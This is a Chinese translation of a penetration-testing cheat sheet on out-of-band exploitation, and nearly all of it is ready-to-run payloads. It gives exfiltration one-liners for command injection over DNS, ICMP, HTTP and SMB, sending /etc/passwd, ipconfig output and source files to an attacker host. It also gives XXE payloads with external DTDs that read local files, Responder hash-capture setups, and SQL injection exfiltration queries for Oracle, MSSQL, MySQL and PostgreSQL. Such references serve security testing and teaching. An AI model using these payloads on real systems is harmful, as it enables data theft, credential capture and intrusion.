原文:
https://www.notsosecure.com/oob-exploitation-cheatsheet/
介绍
带外通道技术(OOB)让攻击者能够通过另一种方式来确认和利用所谓的盲目(blind)的漏洞。在这种盲目的漏洞中,攻击者无法通过恶意请求直接在响应包中看到漏洞的输出结果。带外通道技术通常需要脆弱的实体来生成带外的TCP/UDP/ICMP请求,然后,攻击者可以通过这个请求来提取数据。一次OOB攻击能够成功是基于防火墙出站规则的,即允许存在漏洞的系统和外围防火墙的出站请求。
在这篇文章中,我们会讲DNS带外通道技术作为OOB攻击的最佳选择,因此下面提到的所有技术中,我们会着重讲解DNS。
设置:启动DNS/OOB查询的基础设施
前提条件
具有静态IP的公网服务器:出于演示目的,我们将使用Google云平台(GCP)提供的vps服务。
注册域:访问注册域设置,将解析权委托给你的Nameserver。我们将使用oob.dnsattacker.com来进行DNS解析。
步骤
使用GCP服务创建一个Linux系统,具有静态IP地址。确保你有这台服务器的root权限。如果你之前没有用过GCP服务,你可以参考这个指南来创建你自己的vps。
我的vps如图:
我们在注册门户网的DNS设置中为我们的域添加了两条记录。第一条使用Nameserver定义了一个子域。下一步,我们为nameserver定义了A记录(GCP服务器的IP地址)。这些设置会将子域所有的DNS请求转发到GCP服务器中。设置如下图:
我们可以使用tcpdump来观察服务器上的DNS请求,如图:
OS命令注入:OOB
我们可以通过解析精心构造的DNS名称并查找关联的DNS查询来检测Web应用程序中的OS代码注入漏洞。
检测
DNS
攻击者:使用wireshark/tcpdump指定53端口来观察响应
sudo tcpdump -n port 53
注意:在DNS命令中,我们还可以明确定义用来解析的namenserver。
Windows
nslookup test.oob.dnsattacker.com
ping ping.oob.dnsattacker.com
Unix
host host.oob.dnsattacker.com
同样地,我们也可以使用下面的命令:
dig test.oob.dnsattacker.com
ping test.oob.dnsattacker.com
nslookup test.oob.dnsattacker.com
漏洞利用和数据提取
DNS
注意:使用wireshark/tcpdump指定53端口来观察响应
tcpdump -n port 53
Windows
受害主机:
cmd /v /c "hostname > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=<temp3 && set FINAL=!MYVAR!.oob.dnsattacker.com && nslookup !FINAL!"
攻击者:
echo “encoded output” |base64 -d # 使用base64解码输出
使用多行和大文件发送输出结果
受害主机:
cmd /v /c "ipconfig > output && certutil -encodehex -f output output.hex 4 && powershell $text=Get-Content output.hex;$subdomain=$text.replace(' ','');$j=11111;foreach($i in $subdomain){ $final=$j.tostring()+'.'+$i+'.file.oob.dnsattacker.com';$j += 1; nslookup $final }" # 以十六进制格式发送文件
攻击者:
sudo tcpdump -n port 53 | tee file.txt
提取和构造输出:
echo "0x$(cat file.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f 2|tr -d '\n')" | xxd -r -p
限制条件:需要使用powershell
Unix
受害主机:
var=11111 && for b in $(ifconfig|xxd -p ); do var=$((var+1)) && dig $var.$b.file.oob.dnsattacker.com; done # 以十六进制发送文件
攻击者:
sudo tcpdump -n port 53 | tee file.txt
提取和构造输出:
echo "0x$(cat file.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f 2|tr -d '\n')" | xxd -r -p
与十六进制编码比较,base64编码的文件更小。
受害主机:
var=11111 && for i in $(ifconfig|base64|awk '{gsub(/.{50}/,"&\n")}1'); do var=$((var+1)) && nslookup $var.$i.file.oob.dnsattacker.com; done# 以base64编码发送文件
攻击者:
cat file2.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f 2|tr -d '\n'|base64 -d # 提取输出
ICMP
Windows
受害主机:
cmd /v /c "ipconfig > output.txt && powershell $text=Get-Content output.txt;$ICMPClient = New-Object System.Net.NetworkInformation.Ping;$PingOptions = New-Object System.Net.NetworkInformation.PingOptions;$PingOptions.DontFragment = $True;$sendbytes = ([text.encoding]::ASCII).GetBytes($text);$ICMPClient.Send('dnsattacker.com',60 * 1000, $sendbytes, $PingOptions);
攻击者:
sudo tcpdump 'icmp and src host 202.14.120.xx' -w powericmp.pcap #To capture
提取数据
echo "0x$(tshark -n -q -r powericmp.pcap -T fields -e data.data | tr -d '\n' | tr -d ':')" | xxd -r -p #或者使用wireshark gui
限制条件:需要powershell
Unix
受害主机:
cat /etc/passwd | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 dnsattacker.com;don
攻击者:
sudo tcpdump 'icmp and src host 202.14.120.xx' -w icmp_file.pcap#To capture
提取数据:
echo "0x$(tshark -n -q -r icmp_file.pcap -T fields -e data.data | tr -d '\n' | tr -d ':')" | xxd -r -p #或者使用wireshark gui
HTTP
Windows
受害主机:
cmd /v /c "ipconfig > temp && certutil -f -encodehex temp output.hex 12 && set /p MYVAR=<output.hex && set FINAL="http://dnsattacker.com:9000/!MYVAR!" && powershell Invoke-WebRequest !FINAL!"
注意:如果powershell不可用,请使用“mshta !Final!”
攻击者:
echo "0x$(ncat -lvp 9000 |grep -i get|tr -d '/' |cut -d ' ' -f2)" |xxd -r -p
Unix
受害主机:
wget --header=evil:$(ifconfig|xxd -p -c 100000) http://dnsattacker.com:9000
攻击者:
echo "0x$(ncat -lvp 9000 |grep -i evil|tr -d '/' |cut -d ' ' -f2)" |xxd -r -p
同样地,我们也可以使用下面的命令:
wget –post-data exfil='cat /etc/passwd' http://dnsattacker.com# extract data in post section
wget –post-file trophy.php http://dnsattacker.com # extract source code
cat /path/to/sensitive.txt | curl –F ":data=@-" http://dnsattacker.com/test.txt
SMB(使用responder窃取哈希)
Windows
受害主机:
net use h: \\dnsattacker.com\web
攻击者:
sudo ./Responder.py -I eth0#运行responder来捕获哈希值
同样,我们可以使用:
net use h: \\dnsattacker.com\web /user: {password} && copy {file.txt to Copy} h:\{file.txt}.txt
XXE:OOB
检测
可以通过向攻击者域(即 oob.dnsattacker.com)发起DNS请求来确认XXE漏洞。关于XXE漏洞,这里有一个不错的靶机。
受害主机:
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://xxeoob.oob.dnsattacker.com">
<foo>&e1;</foo>
攻击者:
sudo tcpdump -n udp port 53
限制条件:在写这篇文章时,DNS查询只能用来检测XXE漏洞。
漏洞利用和数据提取
HTTP
攻击者:运行python HTTP 服务器来存放dtd文件,命令如下
python -m SimpleHttpServer 9000
受害主机:
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://dnsattacker.com:9000/linux.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>
linux.dtd文件内容如下:
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://dnsattacker.com:9000/%data;'>">
注意:对于受害主机是Windows系统的,请使用下面这个dtd文件:
windwos.dtd
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM ' http://dnsattacker.com:9000/%data;'>">
FTP
攻击者:运行python HTTP服务器存放dtd文件并运行xxeftp服务器(请参考这里)
python -m SimpleHttpServer 9000
python xxeftp.py
受害主机
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://dnsattacker.com:9000/linux.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>
linux.dtd文件内容如下:
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://dnsattacker.com:2121/%data;'>">
注意:Windows受害主机请使用下面的dtd文件
windows.dtd
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://dnsattacker.com:2121/%data;'>">
SMB(窃取哈希)
攻击者:运行responder来获取哈希
sudo ./Responder.py -I eth0
受害主机:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "\\dnsattacker.com\test" >]>
<foo>&xxe;</foo>
注意:出于演示目的,我们将使用CVE2018-0878:Windows远程协助XXE漏洞。
同样,你可以使用其他的payload来提取数据
http://oob.dnsattacker.com:port/%data
ftp://oob.dnsattacker.com:port/%data
gopher://oob.dnsattacker.com:port/%data%
ldap://oob.dnsattacker.com:port
\\oob.dnsattacker.com\\C$\\1.txt
SQL注入
注意:所有数据库服务器都安装在Windows主机上。有关SQL注入备忘录请点击这里和这里。
检测
DNS
攻击者:使用wireshark/tcpdump指定53端口来观察响应。
sudo tcpdump -n port 53
Oracle
检测
受害主机
SELECT DBMS_LDAP.INIT((‘oob.dnsattacker.com',80) FROM DUAL;
注意:使用这个技术,需要更高的权限来调用上述的函数。
漏洞利用和提取数据
受害主机:
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.attacker.com',80) FROM dual; /* Extracting Oracle database version */
我们也可以使用下面这个payload
SELECT DBMS_LDAP.INIT((SELECT user FROM dual)||'.attacker.com',80) FROM dual; /*Extracting Current user in Oracle database */
如果你使用的Oracle数据库版本是10G,甚至是更低的版本,你可以使用这下面几个替代方法来发起DNS请求:
UTL_INADDR.GET_HOST_ADDRESS,
UTL_HTTP.REQUEST,
HTTP_URITYPE.GETCLOB,
DBMS_LDAP.INIT and UTL_TCP
MSSQL
检测
受害主机
EXEC master..xp_dirtree '\\oob.dnsattacker.com \' –
漏洞利用和数据提取
受害主机
DECLARE @data varchar(1024);
SELECT @data = (SELECT system_user);
EXEC('master..xp_dirtree "\\'+@data+'.oob.dnsattacker.com\foo$"');
限制条件:如果要利用这个技术,数据库需要是sysadmin权限
其他发起DNS请求的方法有:xp_fileexists, xp_subdirs, xp_getfiledetails, sp_add_jobstep
MYSQL
检测
受害主机
SELECT LOAD_FILE(CONCAT('\\\\', 'oob.dnsattacker.com\\test.txt'));
漏洞利用和数据提取
受害主机
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT HEX(CONCAT(user(),"\n"))), '.oob.dnsattacker.com\\test.txt'));
限制条件:要使用这个技术,数据库需要有select update和file权限。
Postgresql
检测
受害主机
CREATE EXTENSION dblink;SELECT dblink_connect('host=oob.dnsattacker.com user=postgres password=password dbname=dvdrental');
限制条件:用户必须要有superuser权限来执行CREATE EXTENSION查询。
漏洞利用和数据提取
受害主机
DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $$
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT encode(convert_to(concat(user,' '), 'UTF8'),'hex'));
exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.oob.dnsattacker.com\\\\foobar.txt\'';
EXECUTE exec_cmd;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();
限制条件:用户必须要有superuser权限来执行这个命令
使用DNS进行数据提取的限制
域名最多只能包含127个子域。
每个子域最多只能包含63个字符
完整域名的最大长度为253个字符
由于DNS记录缓存,会为每个请求的URL添加一个唯一值
DNS是明文通道,任何通过DNS提取的数据都是明文形式,可被中间节点和DNS服务器缓存使用,因此不建议使用DNS通道来提取敏感数据。
参考
https://github.com/beefproject/beef/wiki/Installation
https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
https://www.youtube.com/watch?v=COVtU5G0Iys
https://github.com/Arno0x/DNSExfiltrator
https://blog.zsec.uk/out-of-band-xxe-2/
https://github.com/api0cradle/Powershell-ICMP/blob/master/Powershell-ICMP-Sender.ps1
https://github.com/lukebaggett/dnscat2-powershell/blob/master/dnscat2.ps1
https://ss64.com/nt/certutil.html
https://isc.sans.edu/forums/diary/Exfiltrating+data+from+very+isolated+environments/23645/
https://pentest.blog/data-ex-filtration-with-dns-in-sqli-attacks/
https://www.aldeid.com/wiki/File-transfer-via-DNS
https://www.dbrnd.com/2015/05/postgresql-cross-database-queries-using/